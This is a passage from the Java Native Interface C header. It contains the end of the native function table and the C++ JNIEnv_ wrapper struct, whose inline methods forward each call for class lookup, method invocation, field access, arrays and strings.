(JNIEnv *env, JavaVM **vm); void (JNICALL *GetStringRegion) (JNIEnv *env, jstring str, jsize start, jsize len, jchar *buf); void (JNICALL *GetStringUTFRegion) (JNIEnv *env, jstring str, jsize start, jsize len, char *buf); void * (JNICALL *GetPrimitiveArrayCritical) (JNIEnv *env, jarray array, jboolean *isCopy); void (JNICALL *ReleasePrimitiveArrayCritical) (JNIEnv *env, jarray array, void *carray, jint mode); const jchar * (JNICALL *GetStringCritical) (JNIEnv *env, jstring string, jboolean *isCopy); void (JNICALL *ReleaseStringCritical) (JNIEnv *env, jstring string, const jchar *cstring); jweak (JNICALL *NewWeakGlobalRef) (JNIEnv *env, jobject obj); void (JNICALL *DeleteWeakGlobalRef) (JNIEnv *env, jweak ref); jboolean (JNICALL *ExceptionCheck) (JNIEnv *env); jobject (JNICALL *NewDirectByteBuffer) (JNIEnv* env, void* address, jlong capacity); void* (JNICALL *GetDirectBufferAddress) (JNIEnv* env, jobject buf); jlong (JNICALL *GetDirectBufferCapacity) (JNIEnv* env, jobject buf); /* New JNI 1.6 Features */ jobjectRefType (JNICALL *GetObjectRefType) (JNIEnv* env, jobject obj); }; /* * We use inlined functions for C++ so that programmers can write: * * env->FindClass("java/lang/String") * * in C++ rather than: * * (*env)->FindClass(env, "java/lang/String") * * in C. */ struct JNIEnv_ { const struct JNINativeInterface_ *functions; #ifdef __cplusplus jint GetVersion() { return functions->GetVersion(this); } jclass DefineClass(const char *name, jobject loader, const jbyte *buf, jsize len) { return functions->DefineClass(this, name, loader, buf, len); } jclass FindClass(const char *name) { return functions->FindClass(this, name); } jmethodID FromReflectedMethod(jobject method) { return functions->FromReflectedMethod(this,method); } jfieldID FromReflectedField(jobject field) { return functions->FromReflectedField(this,field); } jobject ToReflectedMethod(jclass cls, jmethodID methodID, jboolean isStatic) { return functions->ToReflectedMethod(this, cls, methodID, isStatic); } jclass GetSuperclass(jclass sub) { return functions->GetSuperclass(this, sub); } jboolean IsAssignableFrom(jclass sub, jclass sup) { return functions->IsAssignableFrom(this, sub, sup); } jobject ToReflectedField(jclass cls, jfieldID fieldID, jboolean isStatic) { return functions->ToReflectedField(this,cls,fieldID,isStatic); } jint Throw(jthrowable obj) { return functions->Throw(this, obj); } jint ThrowNew(jclass clazz, const char *msg) { return functions->ThrowNew(this, clazz, msg); } jthrowable ExceptionOccurred() { return functions->ExceptionOccurred(this); } void ExceptionDescribe() { functions->ExceptionDescribe(this); } void ExceptionClear() { functions->ExceptionClear(this); } void FatalError(const char *msg) { functions->FatalError(this, msg); } jint PushLocalFrame(jint capacity) { return functions->PushLocalFrame(this,capacity); } jobject PopLocalFrame(jobject result) { return functions->PopLocalFrame(this,result); } jobject NewGlobalRef(jobject lobj) { return functions->NewGlobalRef(this,lobj); } void DeleteGlobalRef(jobject gref) { functions->DeleteGlobalRef(this,gref); } void DeleteLocalRef(jobject obj) { functions->DeleteLocalRef(this, obj); } jboolean IsSameObject(jobject obj1, jobject obj2) { return functions->IsSameObject(this,obj1,obj2); } jobject NewLocalRef(jobject ref) { return functions->NewLocalRef(this,ref); } jint EnsureLocalCapacity(jint capacity) { return functions->EnsureLocalCapacity(this,capacity); } jobject AllocObject(jclass clazz) { return functions->AllocObject(this,clazz); } jobject NewObject(jclass clazz, jmethodID methodID, ...) { va_list args; jobject result; va_start(args, methodID); result = functions->NewObjectV(this,clazz,methodID,args); va_end(args); return result; } jobject NewObjectV(jclass clazz, jmethodID methodID, va_list args) { return functions->NewObjectV(this,clazz,methodID,args); } jobject NewObjectA(jclass clazz, jmethodID methodID, const jvalue *args) { return functions->NewObjectA(this,clazz,methodID,args); } jclass GetObjectClass(jobject obj) { return functions->GetObjectClass(this,obj); } jboolean IsInstanceOf(jobject obj, jclass clazz) { return functions->IsInstanceOf(this,obj,clazz); } jmethodID GetMethodID(jclass clazz, const char *name, const char *sig) { return functions->GetMethodID(this,clazz,name,sig); } jobject CallObjectMethod(jobject obj, jmethodID methodID, ...) { va_list args; jobject result; va_start(args,methodID); result = functions->CallObjectMethodV(this,obj,methodID,args); va_end(args); return result; } jobject CallObjectMethodV(jobject obj, jmethodID methodID, va_list args) { return functions->CallObjectMethodV(this,obj,methodID,args); } jobject CallObjectMethodA(jobject obj, jmethodID methodID, const jvalue * args) { return functions->CallObjectMethodA(this,obj,methodID,args); } jboolean CallBooleanMethod(jobject obj, jmethodID methodID, ...) { va_list args; jboolean result; va_start(args,methodID); result = functions->CallBooleanMethodV(this,obj,methodID,args); va_end(args); return result; } jboolean CallBooleanMethodV(jobject obj, jmethodID methodID, va_list args) { return functions->CallBooleanMethodV(this,obj,methodID,args); } jboolean CallBooleanMethodA(jobject obj, jmethodID methodID, const jvalue * args) { return functions->CallBooleanMethodA(this,obj,methodID, args); } jbyte CallByteMethod(jobject obj, jmethodID methodID, ...) { va_list args; jbyte result; va_start(args,methodID); result = functions->CallByteMethodV(this,obj,methodID,args); va_end(args); return result; } jbyte CallByteMethodV(jobject obj, jmethodID methodID, va_list args) { return functions->CallByteMethodV(this,obj,methodID,args); } jbyte CallByteMethodA(jobject obj, jmethodID methodID, const jvalue * args) { return functions->CallByteMethodA(this,obj,methodID,args); } jchar CallCharMethod(jobject obj, jmethodID methodID, ...) { va_list args; jchar result; va_start(args,methodID); result = functions->CallCharMethodV(this,obj,methodID,args); va_end(args); return result; } jchar CallCharMethodV(jobject obj, jmethodID methodID, va_list args) { return functions->CallCharMethodV(this,obj,methodID,args); } jchar CallCharMethodA(jobject obj, jmethodID methodID, const jvalue * args) { return functions->CallCharMethodA(this,obj,methodID,args); } jshort CallShortMethod(jobject obj, jmethodID methodID, ...) { va_list args; jshort result; va_start(args,methodID); result = functions->CallShortMethodV(this,obj,methodID,args); va_end(args); return result; } jshort CallShortMethodV(jobject obj, jmethodID methodID, va_list args) { return functions->CallShortMethodV(this,obj,methodID,args); } jshort CallShortMethodA(jobject obj, jmethodID methodID, const jvalue * args) { return functions->CallShortMethodA(this,obj,methodID,args); } jint CallIntMethod(jobject obj, jmethodID methodID, ...) { va_list args; jint result; va_start(args,methodID); result = functions->CallIntMethodV(this,obj,methodID,args); va_end(args); return result; } jint CallIntMethodV(jobject obj, jmethodID methodID, va_list args) { return functions->CallIntMethodV(this,obj,methodID,args); } jint CallIntMethodA(jobject obj, jmethodID methodID, const jvalue * args) { return functions->CallIntMethodA(this,obj,methodID,args); } jlong CallLongMethod(jobject obj, jmethodID methodID, ...) { va_list args; jlong result; va_start(args,methodID); result = functions->CallLongMethodV(this,obj,methodID,args); va_end(args); return result; } jlong CallLongMethodV(jobject obj, jmethodID methodID, va_list args) { return functions->CallLongMethodV(this,obj,methodID,args); } jlong CallLongMethodA(jobject obj, jmethodID methodID, const jvalue * args) { return functions->CallLongMethodA(this,obj,methodID,args); } jfloat CallFloatMethod(jobject obj, jmethodID methodID, ...) { va_list args; jfloat result; va_start(args,methodID); result = functions->CallFloatMethodV(this,obj,methodID,args); va_end(args); return result; } jfloat CallFloatMethodV(jobject obj, jmethodID methodID, va_list args) { return functions->CallFloatMethodV(this,obj,methodID,args); } jfloat CallFloatMethodA(jobject obj, jmethodID methodID, const jvalue * args) { return functions->CallFloatMethodA(this,obj,methodID,args); } jdouble CallDoubleMethod(jobject obj, jmethodID methodID, ...) { va_list args; jdouble result; va_start(args,methodID); result = functions->CallDoubleMethodV(this,obj,methodID,args); va_end(args); return result; } jdouble CallDoubleMethodV(jobject obj, jmethodID methodID, va_list args) { return functions->CallDoubleMethodV(this,obj,methodID,args); } jdouble CallDoubleMethodA(jobject obj, jmethodID methodID, const jvalue * args) { return functions->CallDoubleMethodA(this,obj,methodID,args); } void CallVoidMethod(jobject obj, jmethodID methodID, ...) { va_list args; va_start(args,methodID); functions->CallVoidMethodV(this,obj,methodID,args); va_end(args); } void CallVoidMethodV(jobject obj, jmethodID methodID, va_list args) { functions->CallVoidMethodV(this,obj,methodID,args); } void CallVoidMethodA(jobject obj, jmethodID methodID, const jvalue * args) { functions->CallVoidMethodA(this,obj,methodID,args); } jobject CallNonvirtualObjectMethod(jobject obj, jclass clazz, jmethodID methodID, ...) { va_list args; jobject result; va_start(args,methodID); result = functions->CallNonvirtualObjectMethodV(this,obj,clazz, methodID,args); va_end(args); return result; } jobject CallNonvirtualObjectMethodV(jobject obj, jclass clazz, jmethodID methodID, va_list args) { return functions->CallNonvirtualObjectMethodV(this,obj,clazz, methodID,args); } jobject CallNonvirtualObjectMethodA(jobject obj, jclass clazz, jmethodID methodID, const jvalue * args) { return functions->CallNonvirtualObjectMethodA(this,obj,clazz, methodID,args); } jboolean CallNonvirtualBooleanMethod(jobject obj, jclass clazz, jmethodID methodID, ...) { va_list args; jboolean result; va_start(args,methodID); result = functions->CallNonvirtualBooleanMethodV(this,obj,clazz, methodID,args); va_end(args); return result; } jboolean CallNonvirtualBooleanMethodV(jobject obj, jclass clazz, jmethodID methodID, va_list args) { return functions->CallNonvirtualBooleanMethodV(this,obj,clazz, methodID,args); } jboolean CallNonvirtualBooleanMethodA(jobject obj, jclass clazz, jmethodID methodID, const jvalue * args) { return functions->CallNonvirtualBooleanMethodA(this,obj,clazz, methodID, args); } jbyte CallNonvirtualByteMethod(jobject obj, jclass clazz, jmethodID methodID, ...) { va_list args; jbyte result; va_start(args,methodID); result = functions->CallNonvirtualByteMethodV(this,obj,clazz, methodID,args); va_end(args); return result; } jbyte CallNonvirtualByteMethodV(jobject obj, jclass clazz, jmethodID methodID, va_list args) { return functions->CallNonvirtualByteMethodV(this,obj,clazz, methodID,args); } jbyte CallNonvirtualByteMethodA(jobject obj, jclass clazz, jmethodID methodID, const jvalue * args) { return functions->CallNonvirtualByteMethodA(this,obj,clazz, methodID,args); } jchar CallNonvirtualCharMethod(jobject obj, jclass clazz, jmethodID methodID, ...) { va_list args; jchar result; va_start(args,methodID); result = functions->CallNonvirtualCharMethodV(this,obj,clazz, methodID,args); va_end(args); return result; } jchar CallNonvirtualCharMethodV(jobject obj, jclass clazz, jmethodID methodID, va_list args) { return functions->CallNonvirtualCharMethodV(this,obj,clazz, methodID,args); } jchar CallNonvirtualCharMethodA(jobject obj, jclass clazz, jmethodID methodID, const jvalue * args) { return functions->CallNonvirtualCharMethodA(this,obj,clazz, methodID,args); } jshort CallNonvirtualShortMethod(jobject obj, jclass clazz, jmethodID methodID, ...) { va_list args; jshort result; va_start(args,methodID); result = functions->CallNonvirtualShortMethodV(this,obj,clazz, methodID,args); va_end(args); return result; } jshort CallNonvirtualShortMethodV(jobject obj, jclass clazz, jmethodID methodID, va_list args) { return functions->CallNonvirtualShortMethodV(this,obj,clazz, methodID,args); } jshort CallNonvirtualShortMethodA(jobject obj, jclass clazz, jmethodID methodID, const jvalue * args) { return functions->CallNonvirtualShortMethodA(this,obj,clazz, methodID,args); } jint CallNonvirtualIntMethod(jobject obj, jclass clazz, jmethodID methodID, ...) { va_list args; jint result; va_start(args,methodID); result = functions->CallNonvirtualIntMethodV(this,obj,clazz, methodID,args); va_end(args); return result; } jint CallNonvirtualIntMethodV(jobject obj, jclass clazz, jmethodID methodID, va_list args) { return functions->CallNonvirtualIntMethodV(this,obj,clazz, methodID,args); } jint CallNonvirtualIntMethodA(jobject obj, jclass clazz, jmethodID methodID, const jvalue * args) { return functions->CallNonvirtualIntMethodA(this,obj,clazz, methodID,args); } jlong CallNonvirtualLongMethod(jobject obj, jclass clazz, jmethodID methodID, ...) { va_list args; jlong result; va_start(args,methodID); result = functions->CallNonvirtualLongMethodV(this,obj,clazz, methodID,args); va_end(args); return result; } jlong CallNonvirtualLongMethodV(jobject obj, jclass clazz, jmethodID methodID, va_list args) { return functions->CallNonvirtualLongMethodV(this,obj,clazz, methodID,args); } jlong CallNonvirtualLongMethodA(jobject obj, jclass clazz, jmethodID methodID, const jvalue * args) { return functions->CallNonvirtualLongMethodA(this,obj,clazz, methodID,args); } jfloat CallNonvirtualFloatMethod(jobject obj, jclass clazz, jmethodID methodID, ...) { va_list args; jfloat result; va_start(args,methodID); result = functions->CallNonvirtualFloatMethodV(this,obj,clazz, methodID,args); va_end(args); return result; } jfloat CallNonvirtualFloatMethodV(jobject obj, jclass clazz, jmethodID methodID, va_list args) { return functions->CallNonvirtualFloatMethodV(this,obj,clazz, methodID,args); } jfloat CallNonvirtualFloatMethodA(jobject obj, jclass clazz, jmethodID methodID, const jvalue * args) { return functions->CallNonvirtualFloatMethodA(this,obj,clazz, methodID,args); } jdouble CallNonvirtualDoubleMethod(jobject obj, jclass clazz, jmethodID methodID, ...) { va_list args; jdouble result; va_start(args,methodID); result = functions->CallNonvirtualDoubleMethodV(this,obj,clazz, methodID,args); va_end(args); return result; } jdouble CallNonvirtualDoubleMethodV(jobject obj, jclass clazz, jmethodID methodID, va_list args) { return functions->CallNonvirtualDoubleMethodV(this,obj,clazz, methodID,args); } jdouble CallNonvirtualDoubleMethodA(jobject obj, jclass clazz, jmethodID methodID, const jvalue * args) { return functions->CallNonvirtualDoubleMethodA(this,obj,clazz, methodID,args); } void CallNonvirtualVoidMethod(jobject obj, jclass clazz, jmethodID methodID, ...) { va_list args; va_start(args,methodID); functions->CallNonvirtualVoidMethodV(this,obj,clazz,methodID,args); va_end(args); } void CallNonvirtualVoidMethodV(jobject obj, jclass clazz, jmethodID methodID, va_list args) { functions->CallNonvirtualVoidMethodV(this,obj,clazz,methodID,args); } void CallNonvirtualVoidMethodA(jobject obj, jclass clazz, jmethodID methodID, const jvalue * args) { functions->CallNonvirtualVoidMethodA(this,obj,clazz,methodID,args); } jfieldID GetFieldID(jclass clazz, const char *name, const char *sig) { return functions->GetFieldID(this,clazz,name,sig); } jobject GetObjectField(jobject obj, jfieldID fieldID) { return functions->GetObjectField(this,obj,fieldID); } jboolean GetBooleanField(jobject obj, jfieldID fieldID) { return functions->GetBooleanField(this,obj,fieldID); } jbyte GetByteField(jobject obj, jfieldID fieldID) { return functions->GetByteField(this,obj,fieldID); } jchar GetCharField(jobject obj, jfieldID fieldID) { return functions->GetCharField(this,obj,fieldID); } jshort GetShortField(jobject obj, jfieldID fieldID) { return functions->GetShortField(this,obj,fieldID); } jint GetIntField(jobject obj, jfieldID fieldID) { return functions->GetIntField(this,obj,fieldID); } jlong GetLongField(jobject obj, jfieldID fieldID) { return functions->GetLongField(this,obj,fieldID); } jfloat GetFloatField(jobject obj, jfieldID fieldID) { return functions->GetFloatField(this,obj,fieldID); } jdouble GetDoubleField(jobject obj, jfieldID fieldID) { return functions->GetDoubleField(this,obj,fieldID); } void SetObjectField(jobject obj, jfieldID fieldID, jobject val) { functions->SetObjectField(this,obj,fieldID,val); } void SetBooleanField(jobject obj, jfieldID fieldID, jboolean val) { functions->SetBooleanField(this,obj,fieldID,val); } void SetByteField(jobject obj, jfieldID fieldID, jbyte val) { functions->SetByteField(this,obj,fieldID,val); } void SetCharField(jobject obj, jfieldID fieldID, jchar val) { functions->SetCharField(this,obj,fieldID,val); } void SetShortField(jobject obj, jfieldID fieldID, jshort val) { functions->SetShortField(this,obj,fieldID,val); } void SetIntField(jobject obj, jfieldID fieldID, jint val) { functions->SetIntField(this,obj,fieldID,val); } void SetLongField(jobject obj, jfieldID fieldID, jlong val) { functions->SetLongField(this,obj,fieldID,val); } void SetFloatField(jobject obj, jfieldID fieldID, jfloat val) { functions->SetFloatField(this,obj,fieldID,val); } void SetDoubleField(jobject obj, jfieldID fieldID, jdouble val) { functions->SetDoubleField(this,obj,fieldID,val); } jmethodID GetStaticMethodID(jclass clazz, const char *name, const char *sig) { return functions->GetStaticMethodID(this,clazz,name,sig); } jobject CallStaticObjectMethod(jclass clazz, jmethodID methodID, ...) { va_list args; jobject result; va_start(args,methodID); result = functions->CallStaticObjectMethodV(this,clazz,methodID,args); va_end(args); return result; } jobject CallStaticObjectMethodV(jclass clazz, jmethodID methodID, va_list args) { return functions->CallStaticObjectMethodV(this,clazz,methodID,args); } jobject CallStaticObjectMethodA(jclass clazz, jmethodID methodID, const jvalue *args) { return functions->CallStaticObjectMethodA(this,clazz,methodID,args); } jboolean CallStaticBooleanMethod(jclass clazz, jmethodID methodID, ...) { va_list args; jboolean result; va_start(args,methodID); result = functions->CallStaticBooleanMethodV(this,clazz,methodID,args); va_end(args); return result; } jboolean CallStaticBooleanMethodV(jclass clazz, jmethodID methodID, va_list args) { return functions->CallStaticBooleanMethodV(this,clazz,methodID,args); } jboolean CallStaticBooleanMethodA(jclass clazz, jmethodID methodID, const jvalue *args) { return functions->CallStaticBooleanMethodA(this,clazz,methodID,args); } jbyte CallStaticByteMethod(jclass clazz, jmethodID methodID, ...) { va_list args; jbyte result; va_start(args,methodID); result = functions->CallStaticByteMethodV(this,clazz,methodID,args); va_end(args); return result; } jbyte CallStaticByteMethodV(jclass clazz, jmethodID methodID, va_list args) { return functions->CallStaticByteMethodV(this,clazz,methodID,args); } jbyte CallStaticByteMethodA(jclass clazz, jmethodID methodID, const jvalue *args) { return functions->CallStaticByteMethodA(this,clazz,methodID,args); } jchar CallStaticCharMethod(jclass clazz, jmethodID methodID, ...) { va_list args; jchar result; va_start(args,methodID); result = functions->CallStaticCharMethodV(this,clazz,methodID,args); va_end(args); return result; } jchar CallStaticCharMethodV(jclass clazz, jmethodID methodID, va_list args) { return functions->CallStaticCharMethodV(this,clazz,methodID,args); } jchar CallStaticCharMethodA(jclass clazz, jmethodID methodID, const jvalue *args) { return functions->CallStaticCharMethodA(this,clazz,methodID,args); } jshort CallStaticShortMethod(jclass clazz, jmethodID methodID, ...) { va_list args; jshort result; va_start(args,methodID); result = functions->CallStaticShortMethodV(this,clazz,methodID,args); va_end(args); return result; } jshort CallStaticShortMethodV(jclass clazz, jmethodID methodID, va_list args) { return functions->CallStaticShortMethodV(this,clazz,methodID,args); } jshort CallStaticShortMethodA(jclass clazz, jmethodID methodID, const jvalue *args) { return functions->CallStaticShortMethodA(this,clazz,methodID,args); } jint CallStaticIntMethod(jclass clazz, jmethodID methodID, ...) { va_list args; jint result; va_start(args,methodID); result = functions->CallStaticIntMethodV(this,clazz,methodID,args); va_end(args); return result; } jint CallStaticIntMethodV(jclass clazz, jmethodID methodID, va_list args) { return functions->CallStaticIntMethodV(this,clazz,methodID,args); } jint CallStaticIntMethodA(jclass clazz, jmethodID methodID, const jvalue *args) { return functions->CallStaticIntMethodA(this,clazz,methodID,args); } jlong CallStaticLongMethod(jclass clazz, jmethodID methodID, ...) { va_list args; jlong result; va_start(args,methodID); result = functions->CallStaticLongMethodV(this,clazz,methodID,args); va_end(args); return result; } jlong CallStaticLongMethodV(jclass clazz, jmethodID methodID, va_list args) { return functions->CallStaticLongMethodV(this,clazz,methodID,args); } jlong CallStaticLongMethodA(jclass clazz, jmethodID methodID, const jvalue *args) { return functions->CallStaticLongMethodA(this,clazz,methodID,args); } jfloat CallStaticFloatMethod(jclass clazz, jmethodID methodID, ...) { va_list args; jfloat result; va_start(args,methodID); result = functions->CallStaticFloatMethodV(this,clazz,methodID,args); va_end(args); return result; } jfloat CallStaticFloatMethodV(jclass clazz, jmethodID methodID, va_list args) { return functions->CallStaticFloatMethodV(this,clazz,methodID,args); } jfloat CallStaticFloatMethodA(jclass clazz, jmethodID methodID, const jvalue *args) { return functions->CallStaticFloatMethodA(this,clazz,methodID,args); } jdouble CallStaticDoubleMethod(jclass clazz, jmethodID methodID, ...) { va_list args; jdouble result; va_start(args,methodID); result = functions->CallStaticDoubleMethodV(this,clazz,methodID,args); va_end(args); return result; } jdouble CallStaticDoubleMethodV(jclass clazz, jmethodID methodID, va_list args) { return functions->CallStaticDoubleMethodV(this,clazz,methodID,args); } jdouble CallStaticDoubleMethodA(jclass clazz, jmethodID methodID, const jvalue *args) { return functions->CallStaticDoubleMethodA(this,clazz,methodID,args); } void CallStaticVoidMethod(jclass cls, jmethodID methodID, ...) { va_list args; va_start(args,methodID); functions->CallStaticVoidMethodV(this,cls,methodID,args); va_end(args); } void CallStaticVoidMethodV(jclass cls, jmethodID methodID, va_list args) { functions->CallStaticVoidMethodV(this,cls,methodID,args); } void CallStaticVoidMethodA(jclass cls, jmethodID methodID, const jvalue * args) { functions->CallStaticVoidMethodA(this,cls,methodID,args); } jfieldID GetStaticFieldID(jclass clazz, const char *name, const char *sig) { return functions->GetStaticFieldID(this,clazz,name,sig); } jobject GetStaticObjectField(jclass clazz, jfieldID fieldID) { return functions->GetStaticObjectField(this,clazz,fieldID); } jboolean GetStaticBooleanField(jclass clazz, jfieldID fieldID) { return functions->GetStaticBooleanField(this,clazz,fieldID); } jbyte GetStaticByteField(jclass clazz, jfieldID fieldID) { return functions->GetStaticByteField(this,clazz,fieldID); } jchar GetStaticCharField(jclass clazz, jfieldID fieldID) { return functions->GetStaticCharField(this,clazz,fieldID); } jshort GetStaticShortField(jclass clazz, jfieldID fieldID) { return functions->GetStaticShortField(this,clazz,fieldID); } jint GetStaticIntField(jclass clazz, jfieldID fieldID) { return functions->GetStaticIntField(this,clazz,fieldID); } jlong GetStaticLongField(jclass clazz, jfieldID fieldID) { return functions->GetStaticLongField(this,clazz,fieldID); } jfloat GetStaticFloatField(jclass clazz, jfieldID fieldID) { return functions->GetStaticFloatField(this,clazz,fieldID); } jdouble GetStaticDoubleField(jclass clazz, jfieldID fieldID) { return functions->GetStaticDoubleField(this,clazz,fieldID); } void SetStaticObjectField(jclass clazz, jfieldID fieldID, jobject value) { functions->SetStaticObjectField(this,clazz,fieldID,value); } void SetStaticBooleanField(jclass clazz, jfieldID fieldID, jboolean value) { functions->SetStaticBooleanField(this,clazz,fieldID,value); } void SetStaticByteField(jclass clazz, jfieldID fieldID, jbyte value) { functions->SetStaticByteField(this,clazz,fieldID,value); } void SetStaticCharField(jclass clazz, jfieldID fieldID, jchar value) { functions->SetStaticCharField(this,clazz,fieldID,value); } void SetStaticShortField(jclass clazz, jfieldID fieldID, jshort value) { functions->SetStaticShortField(this,clazz,fieldID,value); } void SetStaticIntField(jclass clazz, jfieldID fieldID, jint value) { functions->SetStaticIntField(this,clazz,fieldID,value); } void SetStaticLongField(jclass clazz, jfieldID fieldID, jlong value) { functions->SetStaticLongField(this,clazz,fieldID,value); } void SetStaticFloatField(jclass clazz, jfieldID fieldID, jfloat value) { functions->SetStaticFloatField(this,clazz,fieldID,value); } void SetStaticDoubleField(jclass clazz, jfieldID fieldID, jdouble value) { functions->SetStaticDoubleField(this,clazz,fieldID,value); } jstring NewString(const jchar *unicode, jsize len) { return functions->NewString(this,unicode,len); } jsize GetStringLength(jstring str) { return functions->GetStringLength(this,str); } const jchar *GetStringChars(jstring str, jboolean *isCopy) { return functions->GetStringChars(this,str,isCopy); } void ReleaseStringChars(jstring str, const jchar *chars) { functions->ReleaseStringChars(this,str,chars); } jstring NewStringUTF(const char *utf) { return functions->NewStringUTF(this,utf); } jsize GetStringUTFLength(jstring str) { return functions->GetStringUTFLength(this,str); } const char* GetStringUTFChars(jstring str, jboolean *isCopy) { return functions->GetStringUTFChars(this,str,isCopy); } void ReleaseStringUTFChars(jstring str, const char* chars) { functions->ReleaseStringUTFChars(this,str,chars); } jsize GetArrayLength(jarray array) { return functions->GetArrayLength(this,array); } jobjectArray NewObjectArray(jsize len, jclass clazz, jobject init) { return functions->NewObjectArray(this,len,clazz,init); } jobject GetObjectArrayElement(jobjectArray array, jsize index) { return functions->GetObjectArrayElement(this,array,index); } void SetObjectArrayElement(jobjectArray array, jsize index, jobject val) { functions->SetObjectArrayElement(this,array,index,val); } jbooleanArray NewBooleanArray(jsize len) { return functions->NewBooleanArray(this,len); } jbyteArray NewByteArray(jsize len) { return functions->NewByteArray(this,len); } jcharArray NewCharArray(jsize len) { return functions->NewCharArray(this,len); } jshortArray NewShortArray(jsize len) { return functions->NewShortArray(this,len); } jintArray NewIntArray(jsize len) { return functions->NewIntArray(this,len); } jlongArray NewLongArray(jsize len) { return functions->NewLongArray(this,len); } jfloatArray NewFloatArray(jsize len) { return functions->NewFloatArray(this,len); } jdoubleArray NewDoubleArray(jsize len) { return functions->NewDoubleArray(this,len); } jboolean * GetBooleanArrayElements(jbooleanArray array, jboolean *isCopy) { return functions->GetBooleanArrayElements(this,array,isCopy); } jbyte * GetByteArrayElements(jbyteArray array, jboolean *isCopy) { return functions->GetByteArrayElements(this,array,isCopy); } jchar * GetCharArrayElements(jcharArray array, jboolean *isCopy) { return functions->GetCharArrayElements(this,array,isCopy); } jshort * GetShortArrayElements(jshortArray array, jboolean *isCopy) { return functions->GetShortArrayElements(this,array,isCopy); } jint * GetIntArrayElements(jintArray array, jboolean *isCopy) { return functions->GetIntArrayElements(this,array,isCopy); } jlong * GetLongArrayElements(jlongArray array, jboolean *isCopy) { return functions->GetLongArrayElements(this,array,isCopy); } jfloat * GetFloatArrayElements(jfloatArray array, jboolean *isCopy) { return functions->GetFloatArrayElements(this,array,isCopy); } jdouble * GetDoubleArrayElements(jdoubleArray array, jboolean *isCopy) { return functions->GetDoubleArrayElements(this,array,isCopy); } void ReleaseBooleanArrayElements(jbooleanArray array, jboolean *elems, jint mode) { functions->ReleaseBooleanArrayElements(this,array,elems,mode); } void ReleaseByteArrayElements(jbyteArray array, jbyte *elems, jint mode) { functions->ReleaseByteArrayElements(this,array,elems,mode); } void ReleaseCharArrayElements(jcharArray array, jchar *elems, jint mode) { functions->ReleaseCharArrayElements(this,array,elems,mode); } void ReleaseShortArrayElements(jshortArray array, jshort *elems, jint mode) { functions->ReleaseShortArrayElements(this,array,elems,mode); } void ReleaseIntArrayElements(jintArray array, jint *elems, jint mode) { functions->ReleaseIntArrayElements(this,array,elems,mode); } void ReleaseLongArrayElements(jlongArray array, jlong *elems, jint mode) { functions->ReleaseLongArrayElements(this,array,elems,mode); } void ReleaseFloatArrayElements(jfloatArray array, jfloat *elems, jint mode) { functions->ReleaseFloatArrayElements(this,array,elems,mode); } void ReleaseDoubleArrayElements(jdoubleArray array, jdouble *elems, jint mode) { functions->ReleaseDoubleArrayElements(this,array,elems,mode); } void GetBooleanArrayRegion(jbooleanArray array, jsize start, jsize len, jboolean *buf) { functions->GetBooleanArrayRegion(this,array,start,len,buf); } void GetByteArrayRegion(jbyteArray array, jsize start, jsize len, jbyte *buf) { functions->GetByteArrayRegion(this,array,start,len,buf); } void GetCharArrayRegion(jcharArray array, jsize start, jsize len, jchar *buf) { functions->GetCharArrayRegion(this,array,start,len,buf); } void GetShortArrayRegion(jshortArray array, jsize start, jsize len, jshort *buf) { functions->GetShortArrayRegion(this,array,start,len,buf); } void GetIntArrayRegion(jintArray array, jsize start, jsize len, jint *buf) { functions->GetIntArrayRegion(this,array,start,len,buf); } void GetLongArrayRegion(jlongArray array, jsize start, jsize len, jlong *buf) { functions->GetLongArrayRegion(this,array,start,len,buf); } void GetFloatArrayRegion(jfloatArray array, jsize start, jsize len, jfloat *buf) { functions->GetFloatArrayRegion(this,array,start,len,buf); } void GetDoubleArrayRegion(jdoubleArray array, jsize start, jsize len, jdouble *buf) { functions->GetDoubleArrayRegion(this,array,start,len,buf); } void SetBooleanArrayRegion(jbooleanArray array, jsize start, jsize len, const jboolean *buf) { functions->SetBooleanArrayRegion(this,array,start,len,buf); } void SetByteArrayRegion(jbyteArray array, jsize start, jsize len, const jbyte *buf) { functions->SetByteArrayRegion(this,array,start,len,buf); } void SetCharArrayRegion(jcharArray array, jsize start, jsize len, const jchar *buf) { functions->SetCharArrayRegion(this,array,start,len,buf); } void SetShortArrayRegion(jshortArray array, jsize start, jsize len, const jshort *buf) { functions->SetShortArrayRegion(this,array,start,len,buf); } void SetIntArrayRegion(jintArray array, jsize start, jsize len, const jint *buf) { functions->SetIntArrayRegion(this,array,start,len,buf); } void SetLongArrayRegion(jlongArray array, jsize start, jsize len, const jlong *buf) { functions->SetLongArrayRegion(this,array,start,len,buf); } void SetFloatArrayRegion(jfloatArray array, jsize start, jsize len, const jfloat *buf) { functions->SetFloatArrayRegion(this,array,start,len,buf); } void SetDoubleArrayRegion(jdoubleArray array, jsize start, jsize len, const jdouble *buf) { functions->SetDoubleArrayRegion(this,array,start,len,buf); } jint RegisterNatives(jclass clazz, const JNINativeMethod *methods, jint nMethods) { return functions->RegisterNatives(this,clazz,methods,nMethods); } jint UnregisterNatives(jclass clazz) { return functions->UnregisterNatives(this,clazz); } jint MonitorEnter(jobject obj) { return functions->MonitorEnter(this,obj); } jint MonitorExit(jobject obj) { return functions->MonitorExit(this,obj); } jint GetJavaVM(JavaVM **vm) { return functions->GetJavaVM(this,vm); } void GetStringRegion(jstring str, jsize start, jsize len, jchar *buf) { functions->GetStringRegion(this,str,start,len,buf); } void GetStringUTFRegion(jstring str, jsize start, jsize len, char *buf) { functions->GetStringUTFRegion(this,str,start,len,buf); } void * GetPrimitiveArrayCritical(jarray array, jboolean *isCopy) { return functions->GetPrimitiveArrayCritical(this,array,isCopy); } void ReleasePrimitiveArrayCritical(jarray array, void *carray, jint mode) { functions->ReleasePrimitiveArrayCritical(this,array,carray,mode); } const jchar * GetStringCritical(jstring string, jboolean *isCopy) { return functions->GetStringCritical(this,string,isCopy); } void ReleaseStringCritical(jstring string, const jchar *cstring) { functions->ReleaseStringCritical(this,string,cstring); } jweak NewWeakGlobalRef(jobject obj) { return functions->NewWeakGlobalRef(this,obj); } void DeleteWeakGlobalRef(jweak ref) { functions->DeleteWeakGlobalRef(this,ref); } jboolean ExceptionCheck() { return functions->ExceptionCheck(this); } jobject NewDirectByteBuffer(void* address, jlong capacity) { return functions->NewDirectByteBuffer(this, address, capacity); } void* GetDirectBufferAddress(jobject buf) { return functions->GetDirectBufferAddress(this, buf); } jlong GetDirectBufferCapacity(jobject buf) { return functions->GetDirectBufferCapacity(this, buf); } jobjectRefType GetObjectRefType(jobject obj) { return functions->GetObjectRefType(this, obj); } #endif /* __cplusplus */ }; typedef struct JavaVMOption { 